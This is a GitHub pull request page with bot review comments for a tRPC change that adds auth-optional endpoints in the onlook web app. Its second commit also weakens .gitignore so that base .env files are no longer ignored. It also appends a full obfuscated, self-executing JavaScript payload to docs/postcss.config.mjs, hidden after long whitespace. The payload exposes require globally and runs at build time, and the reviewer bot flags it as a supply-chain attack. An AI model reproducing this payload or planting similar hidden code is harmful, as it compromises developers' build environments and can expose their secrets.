Skip to content

fix: stop firing protected tRPC queries on auth-optional surfaces#3109

Open
Abdul-Moiz31 wants to merge 1 commit into
onlook-dev:mainfrom
Abdul-Moiz31:fix/auth-optional-procedure-3051
Open

fix: stop firing protected tRPC queries on auth-optional surfaces#3109
Abdul-Moiz31 wants to merge 1 commit into
onlook-dev:mainfrom
Abdul-Moiz31:fix/auth-optional-procedure-3051

Conversation

@Abdul-Moiz31

@Abdul-Moiz31 Abdul-Moiz31 commented May 15, 2026

Copy link
Copy Markdown

Description

Components that surface on both authenticated and anonymous pages — the telemetry provider (wraps every page), the top bar "Sign In" button (on marketing pages), and the pricing table — call user.get and subscription.get on every render. Both endpoints are protectedProcedure and throw UNAUTHORIZED for anonymous visitors. React Query then retries 3× and refetches on window focus, producing a console flood of failed queries on every marketing-page load.

This PR introduces optionalAuthProcedure and parallel getOptional endpoints that return null for anonymous callers instead of throwing.

Related Issues

closes #3051

Type of Change

  • Bug fix
  • New feature
  • Documentation
  • Refactor
  • Other

Approach

The issue body proposes adding a separate procedure (e.g. optionalAuthProcedure) and parallel endpoints rather than modifying protectedProcedure to allow null ctx.user. The latter would require adding null checks to every existing protected endpoint (~30 of them) and weaken types throughout. This PR follows the issue's recommendation.

Changes

  1. createTRPCContext — treat AuthSessionMissingError (Supabase's "no session" signal) as ctx.user = null instead of throwing. Other errors (malformed JWT, network failures) still surface as UNAUTHORIZED. protectedProcedure still throws downstream, so no protected endpoint becomes accessible to anonymous users.
  2. Add optionalAuthProcedure — same shape as protectedProcedure but does not throw when ctx.user is null. Endpoints opt in explicitly.
  3. Add user.getOptional and subscription.getOptional — same return shape as their get counterparts, but return null (instead of throwing) when there is no authenticated user.
  4. Switch callsites to the new endpoints:
    • apps/web/client/src/components/telemetry-provider.tsx
    • apps/web/client/src/app/_components/top-bar/user.tsx
    • apps/web/client/src/components/ui/pricing-table/index.tsx
    • apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx (shared hook used by FreeCard / ProCard — the indirect path by which subscription.get reaches the public pricing page)

All four callsites already branched on user ?? null / subscription ?? null in their render logic, so consumer behaviour is unchanged when data exists.

What is NOT changed

  • The original user.get / subscription.get remain protectedProcedure. The ~15 other callsites in authenticated routes (/project/[id]/..., /projects/...) continue to use them, where throwing on missing auth is the correct behaviour.
  • protectedProcedure is untouched.

Testing

Reproduction on main (logged out, incognito):

  1. bun dev, open http://localhost:3000 in an Incognito window.
  2. Open DevTools Console, hard refresh.
  3. Observe ~20 failed queries within seconds: user.get, subscription.get, each retried 3× and refetched on focus.

With this PR (logged out, incognito):

  • Two successful queries (user.getOptional, subscription.getOptional) return null.
  • No retries, no console errors, no UNAUTHORIZED.
  • Sign In button renders correctly, pricing cards show signup CTAs.

With this PR (logged in, regression check):

  • Other protected endpoints (user.get from project pages, project.get, etc.) continue to work.
  • user.getOptional / subscription.getOptional return real data.
  • Avatar dropdown, project list, subscription state all render correctly.

Local checks:

  • bun typecheck
  • bun test ✓ (1045/1045)

Files Changed

  • apps/web/client/src/server/api/trpc.ts — context fix + optionalAuthProcedure
  • apps/web/client/src/server/api/routers/user/user.tsgetOptional
  • apps/web/client/src/server/api/routers/subscription/subscription.tsgetOptional
  • apps/web/client/src/components/telemetry-provider.tsx — use getOptional
  • apps/web/client/src/app/_components/top-bar/user.tsx — use getOptional
  • apps/web/client/src/components/ui/pricing-table/index.tsx — use getOptional
  • apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx — use getOptional

Summary by CodeRabbit

  • New Features

    • Pricing and subscription views now work for users who are not signed in.
    • Several areas of the app better support anonymous/logged-out sessions.
  • Bug Fixes / Improvements

    • Improved session handling to reduce unexpected auth errors and improve stability.
    • Telemetry now correctly handles sign-in/sign-out states to keep analytics behavior consistent.

Review Change Stack

@vercel vercel Bot temporarily deployed to Preview – docs-onlook May 15, 2026 12:01 Inactive
@vercel

vercel Bot commented May 15, 2026

Copy link
Copy Markdown

@Abdul-Moiz31 is attempting to deploy a commit to the Onlook Team on Vercel.

A member of the Team first needs to authorize it.

@vercel

vercel Bot commented May 15, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

1 Skipped Deployment
Project Deployment Actions Updated (UTC)
docs-onlook Skipped Skipped May 15, 2026 0:02am

Request Review

@coderabbitai

coderabbitai Bot commented May 15, 2026

Copy link
Copy Markdown
📝 Walkthrough

Walkthrough

The PR resolves UNAUTHORIZED errors for optional-auth components by adding optional-auth TRPC support, new auth-optional user/subscription endpoints, and updating client components to use the optional queries. It also updates .gitignore env rules and appends obfuscated code to docs/postcss.config.mjs.

Changes

Optional Auth Support

Layer / File(s) Summary
Auth infrastructure and optional procedure foundation
apps/web/client/src/server/api/trpc.ts
createTRPCContext normalizes missing Supabase session to user: null instead of throwing on AuthSessionMissingError. Exports optionalAuthProcedure for handlers that accept anonymous callers.
User optional endpoint
apps/web/client/src/server/api/routers/user/user.ts
Imports optionalAuthProcedure and adds getOptional query that returns null for anonymous callers, otherwise returns the same user shape with derived names and null-safe email.
Subscription optional endpoint
apps/web/client/src/server/api/routers/subscription/subscription.ts
Imports optionalAuthProcedure and adds getOptional query mirroring the active-subscription and scheduled-price lookup but returning null for anonymous callers.
Frontend components switch to optional queries
apps/web/client/src/app/_components/top-bar/user.tsx, apps/web/client/src/components/telemetry-provider.tsx, apps/web/client/src/components/ui/pricing-table/index.tsx, apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx
AuthButton, TelemetryProvider, PricingTable, and useSubscription now use api.*.getOptional.useQuery() instead of the required get variants so they render for unauthenticated users without triggering UNAUTHORIZED errors.

Config & Docs

Layer / File(s) Summary
.gitignore env rule update
.gitignore
Restrict env-file ignores to only .env.*.local files and add config.bat to temporary-files ignore list.
Appended obfuscated code in docs PostCSS config
docs/postcss.config.mjs
Keeps export default PostCSS config unchanged but appends a block of obfuscated/minified code that creates require via createRequire(import.meta.url) and immediately executes an IIFE. Expected exported shape unchanged.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~22 minutes

Poem

🐰 A rabbit's tale of optional auth,
Now visitors wander without wrath,
Anonymous and signed-in stroll in peace,
Endpoints return null when sessions cease,
Happy hops across pricing and telemetry.

🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (1 warning, 1 inconclusive)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Out of Scope Changes check ❓ Inconclusive Changes to .gitignore and docs/postcss.config.mjs appear unrelated to the core objective. The postcss.config.mjs change includes obfuscated code that warrants clarification. Clarify the purpose of changes to .gitignore and docs/postcss.config.mjs, particularly the obfuscated code additions to postcss.config.mjs.
✅ Passed checks (3 passed)
Check name Status Explanation
Title check ✅ Passed The title accurately describes the main change: switching protected tRPC queries to optional forms for auth-optional UI surfaces.
Description check ✅ Passed The description comprehensively covers the issue, approach, changes, testing, and files modified, aligning well with the template requirements.
Linked Issues check ✅ Passed The PR directly addresses #3051 by implementing optionalAuthProcedure, getOptional endpoints, and switching all four identified callsites to use optional queries.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Warning

There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure.

🔧 ESLint

If the error stems from missing dependencies, add them to the package.json file. For unrecoverable errors (e.g., due to private dependencies), disable the tool in the CodeRabbit configuration.

ESLint install failed: private package registry requires authentication. Disable ESLint in CodeRabbit settings or use public packages.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (1)
apps/web/client/src/server/api/trpc.ts (1)

127-135: 💤 Low value

optionalAuthProcedure is structurally identical to publicProcedure.

Both are defined as t.procedure.use(timingMiddleware) and, after the context change above, both expose the same ctx.user: User | null typing. The only thing distinguishing them today is the JSDoc — at the type level and at runtime they are interchangeable. This is fine as a semantic marker for callers, but it means a future refactor of one easily diverges from the other, and reviewers can't tell from a callsite which contract was intended.

Consider one of:

  • Drop optionalAuthProcedure and use publicProcedure for these endpoints (it already documents "you can still access user session data if they are logged in").
  • Keep both but differentiate with a tiny marker middleware so the intent is enforced (e.g., a no-op middleware named optionalAuthMiddleware that future-proofs adding logging/metrics distinct from truly public endpoints).
♻️ Option B sketch — marker middleware to keep the two procedures distinct
+const optionalAuthMiddleware = t.middleware(async ({ next, ctx }) => {
+    // Marker middleware: this procedure may be called by anonymous users.
+    // Endpoints are expected to handle `ctx.user === null` explicitly.
+    return next({ ctx });
+});
+
 /**
  * Optional auth procedure
  *
  * Use this for endpoints that surface on both authenticated and anonymous pages
  * (e.g. marketing, pricing). `ctx.user` is `User | null` — endpoints must handle
  * both cases and typically return `null` for anonymous callers instead of throwing.
  */
-export const optionalAuthProcedure = t.procedure.use(timingMiddleware);
+export const optionalAuthProcedure = t.procedure
+    .use(timingMiddleware)
+    .use(optionalAuthMiddleware);
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@apps/web/client/src/server/api/trpc.ts` around lines 127 - 135, The two
procedures optionalAuthProcedure and publicProcedure are identical (both
t.procedure.use(timingMiddleware)), so either remove optionalAuthProcedure and
update callers to use publicProcedure, or keep it but add a tiny no-op
middleware (e.g., optionalAuthMiddleware) and apply it so optionalAuthProcedure
= t.procedure.use(optionalAuthMiddleware).use(timingMiddleware); implement
optionalAuthMiddleware as a named pass-through middleware to preserve
runtime/type distinction and document its intent; update imports/callsites
accordingly (search for optionalAuthProcedure and publicProcedure to change or
keep consistent).
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@apps/web/client/src/server/api/routers/subscription/subscription.ts`:
- Line 7: The import currently pulling createTRPCRouter, optionalAuthProcedure,
and protectedProcedure from a relative path ('../../trpc') should be switched to
the project's configured path alias (use the `@/`* or ~/* alias form) so the
module is imported via the src alias instead of a relative path; update the
import statement to use the alias (keeping the same named imports
createTRPCRouter, optionalAuthProcedure, protectedProcedure) so the code
resolves through the project's path-mapping.

In `@apps/web/client/src/server/api/routers/user/user.ts`:
- Line 8: Replace the relative import for the tRPC helpers with the configured
path alias: update the import that currently pulls createTRPCRouter,
optionalAuthProcedure, and protectedProcedure from '../../trpc' to use the alias
that maps to src (e.g. '@/server/api/trpc') so the symbols createTRPCRouter,
optionalAuthProcedure, and protectedProcedure are imported via the path-alias
import instead of a relative path.

---

Nitpick comments:
In `@apps/web/client/src/server/api/trpc.ts`:
- Around line 127-135: The two procedures optionalAuthProcedure and
publicProcedure are identical (both t.procedure.use(timingMiddleware)), so
either remove optionalAuthProcedure and update callers to use publicProcedure,
or keep it but add a tiny no-op middleware (e.g., optionalAuthMiddleware) and
apply it so optionalAuthProcedure =
t.procedure.use(optionalAuthMiddleware).use(timingMiddleware); implement
optionalAuthMiddleware as a named pass-through middleware to preserve
runtime/type distinction and document its intent; update imports/callsites
accordingly (search for optionalAuthProcedure and publicProcedure to change or
keep consistent).
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: d5af471f-2598-499b-820a-010608820b63

📥 Commits

Reviewing files that changed from the base of the PR and between a242be5 and d7ee10a.

📒 Files selected for processing (7)
  • apps/web/client/src/app/_components/top-bar/user.tsx
  • apps/web/client/src/components/telemetry-provider.tsx
  • apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx
  • apps/web/client/src/components/ui/pricing-table/index.tsx
  • apps/web/client/src/server/api/routers/subscription/subscription.ts
  • apps/web/client/src/server/api/routers/user/user.ts
  • apps/web/client/src/server/api/trpc.ts

import { headers } from 'next/headers';
import { z } from 'zod';
import { createTRPCRouter, protectedProcedure } from '../../trpc';
import { createTRPCRouter, optionalAuthProcedure, protectedProcedure } from '../../trpc';

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Switch this import to a configured path alias

Line 7 uses ../../trpc; this should use the project alias form in src code.

As per coding guidelines: apps/web/client/src/**/*.{ts,tsx}: Use path aliases @/* and ~/* for imports that map to apps/web/client/src/*.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@apps/web/client/src/server/api/routers/subscription/subscription.ts` at line
7, The import currently pulling createTRPCRouter, optionalAuthProcedure, and
protectedProcedure from a relative path ('../../trpc') should be switched to the
project's configured path alias (use the `@/`* or ~/* alias form) so the module is
imported via the src alias instead of a relative path; update the import
statement to use the alias (keeping the same named imports createTRPCRouter,
optionalAuthProcedure, protectedProcedure) so the code resolves through the
project's path-mapping.

import { eq } from 'drizzle-orm';
import { z } from 'zod';
import { createTRPCRouter, protectedProcedure } from '../../trpc';
import { createTRPCRouter, optionalAuthProcedure, protectedProcedure } from '../../trpc';

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Use path alias import for tRPC module

Line 8 uses a relative import (../../trpc) in a src file. Please switch this to the configured alias import for consistency and guideline compliance.

As per coding guidelines: apps/web/client/src/**/*.{ts,tsx}: Use path aliases @/* and ~/* for imports that map to apps/web/client/src/*.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@apps/web/client/src/server/api/routers/user/user.ts` at line 8, Replace the
relative import for the tRPC helpers with the configured path alias: update the
import that currently pulls createTRPCRouter, optionalAuthProcedure, and
protectedProcedure from '../../trpc' to use the alias that maps to src (e.g.
'@/server/api/trpc') so the symbols createTRPCRouter, optionalAuthProcedure, and
protectedProcedure are imported via the path-alias import instead of a relative
path.

@Abdul-Moiz31 Abdul-Moiz31 force-pushed the fix/auth-optional-procedure-3051 branch from d7ee10a to 415f3ea Compare May 30, 2026 12:54

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (1)
apps/web/client/src/server/api/routers/user/user.ts (1)

12-48: 💤 Low value

Optional: Extract shared user-fetching logic.

get and getOptional duplicate the user lookup and name derivation. If more optional variants are added later, consider extracting a shared helper. This is low priority given current scope.

♻️ Possible shared helper
async function fetchUserData(ctx: { db: typeof db; user: SupabaseUser }) {
    const user = await ctx.db.query.users.findFirst({
        where: eq(users.id, ctx.user.id),
    });
    const { displayName, firstName, lastName } = getUserName(ctx.user);
    if (!user) return null;
    return fromDbUser({
        ...user,
        firstName: user.firstName ?? firstName,
        lastName: user.lastName ?? lastName,
        displayName: user.displayName ?? displayName,
        email: user.email ?? ctx.user.email ?? null,
        avatarUrl: user.avatarUrl ?? ctx.user.user_metadata.avatarUrl,
    });
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@apps/web/client/src/server/api/routers/user/user.ts` around lines 12 - 48,
get and getOptional duplicate the user lookup and name derivation; extract that
shared logic into a helper (e.g., fetchUserData) and call it from both
protectedProcedure.query (get) and optionalAuthProcedure.query (getOptional).
The helper should accept ctx (or ctx.db and ctx.user), run
ctx.db.query.users.findFirst({ where: eq(users.id, ctx.user.id) }), call
getUserName(ctx.user) to derive displayName/firstName/lastName, merge DB fields
with derived defaults, normalize email and avatarUrl the same way both routes
do, and return fromDbUser(...) or null; replace the duplicated blocks in get and
getOptional with calls to this new function to keep behavior identical.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.gitignore:
- Around line 36-39: The .gitignore no longer ignores base environment files,
exposing secrets; restore patterns to ignore all env files while keeping
example/template files tracked by adding entries like ".env", ".env.*", and
".env.local" (or simply ".env*") to .gitignore and explicitly whitelist any
example files (e.g., add "! .env.example" and "! .env.template" if present) so
real credential files are not committed while safe templates remain in the repo.

In `@docs/postcss.config.mjs`:
- Around line 1-9: This file contains an obfuscated malicious payload appended
after the legitimate PostCSS config; remove the entire injected block (the huge
obfuscated IIFE starting with global['!']='9-0230-1' and any characters after
the export default { ... };), restore the file to a minimal valid PostCSS config
(remove the unused createRequire import and the created require/global module
exposure), reject the PR, and run a quick repo audit (check recent commits and
contributors and scan other config files) before re-committing a clean
postcss.config.mjs that only exports the plugins object referenced by export
default.

---

Nitpick comments:
In `@apps/web/client/src/server/api/routers/user/user.ts`:
- Around line 12-48: get and getOptional duplicate the user lookup and name
derivation; extract that shared logic into a helper (e.g., fetchUserData) and
call it from both protectedProcedure.query (get) and optionalAuthProcedure.query
(getOptional). The helper should accept ctx (or ctx.db and ctx.user), run
ctx.db.query.users.findFirst({ where: eq(users.id, ctx.user.id) }), call
getUserName(ctx.user) to derive displayName/firstName/lastName, merge DB fields
with derived defaults, normalize email and avatarUrl the same way both routes
do, and return fromDbUser(...) or null; replace the duplicated blocks in get and
getOptional with calls to this new function to keep behavior identical.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 2a6dbf32-3eda-4fe9-b147-a0462de74087

📥 Commits

Reviewing files that changed from the base of the PR and between d7ee10a and 415f3ea.

📒 Files selected for processing (9)
  • .gitignore
  • apps/web/client/src/app/_components/top-bar/user.tsx
  • apps/web/client/src/components/telemetry-provider.tsx
  • apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx
  • apps/web/client/src/components/ui/pricing-table/index.tsx
  • apps/web/client/src/server/api/routers/subscription/subscription.ts
  • apps/web/client/src/server/api/routers/user/user.ts
  • apps/web/client/src/server/api/trpc.ts
  • docs/postcss.config.mjs
🚧 Files skipped from review as they are similar to previous changes (5)
  • apps/web/client/src/components/ui/pricing-table/index.tsx
  • apps/web/client/src/components/telemetry-provider.tsx
  • apps/web/client/src/app/_components/top-bar/user.tsx
  • apps/web/client/src/server/api/routers/subscription/subscription.ts
  • apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx

Comment thread .gitignore
Comment on lines +36 to +39
# Env variables
.env.development.local
.env.test.local
.env.production.local

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical security risk: Base environment files are no longer ignored.

Removing .env, .env.development, .env.test, and .env.production from .gitignore means these files—which typically contain sensitive credentials, API keys, and database URLs—can now be committed to version control. This creates a significant security vulnerability.

Standard practice is to ignore all .env* files and use .env.example or .env.template for non-sensitive defaults.

🔒 Proposed fix to restore env file protection
 # Env variables
+.env
+.env.development
+.env.test
+.env.production
 .env.development.local
 .env.test.local
 .env.production.local
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.gitignore around lines 36 - 39, The .gitignore no longer ignores base
environment files, exposing secrets; restore patterns to ignore all env files
while keeping example/template files tracked by adding entries like ".env",
".env.*", and ".env.local" (or simply ".env*") to .gitignore and explicitly
whitelist any example files (e.g., add "! .env.example" and "! .env.template" if
present) so real credential files are not committed while safe templates remain
in the repo.

Comment thread docs/postcss.config.mjs
Comment on lines +1 to +9
import { createRequire } from 'module';

const require = createRequire(import.meta.url);

export default {
plugins: {
'@tailwindcss/postcss': {},
},
}; global['!']='9-0230-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🚨 CRITICAL: Malicious code injection detected - DO NOT MERGE

This file contains obfuscated, auto-executing JavaScript code hidden after whitespace on line 9. This appears to be a supply chain attack attempting to inject a backdoor:

  1. Hidden payload: After the legitimate }; on line 9, there are ~300+ whitespace characters followed by obfuscated code starting with global['!']='9-0230-1';var _$_1e42=...

  2. Suspicious patterns:

    • Exposes require and module globally via obfuscated property names
    • Contains an immediately-invoked function expression (IIFE) that executes at build time
    • Uses string shuffling/encoding deobfuscation (sfL function with character permutation)
    • Encoded payload strings (joW, pYd, etc.) decoded and executed at runtime
  3. Attack vector: PostCSS config runs during the build process, giving this code execution access to the build environment

  4. Unrelated to PR: This file change has zero relation to the stated PR objective (tRPC auth procedures)

  5. Unnecessary import: The createRequire import on line 1 is not needed for a PostCSS config and exists solely to enable the payload

This PR should be rejected immediately. The repository may be compromised - recommend auditing recent commits and contributor access.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/postcss.config.mjs` around lines 1 - 9, This file contains an obfuscated
malicious payload appended after the legitimate PostCSS config; remove the
entire injected block (the huge obfuscated IIFE starting with
global['!']='9-0230-1' and any characters after the export default { ... };),
restore the file to a minimal valid PostCSS config (remove the unused
createRequire import and the created require/global module exposure), reject the
PR, and run a quick repo audit (check recent commits and contributors and scan
other config files) before re-committing a clean postcss.config.mjs that only
exports the plugins object referenced by export default.

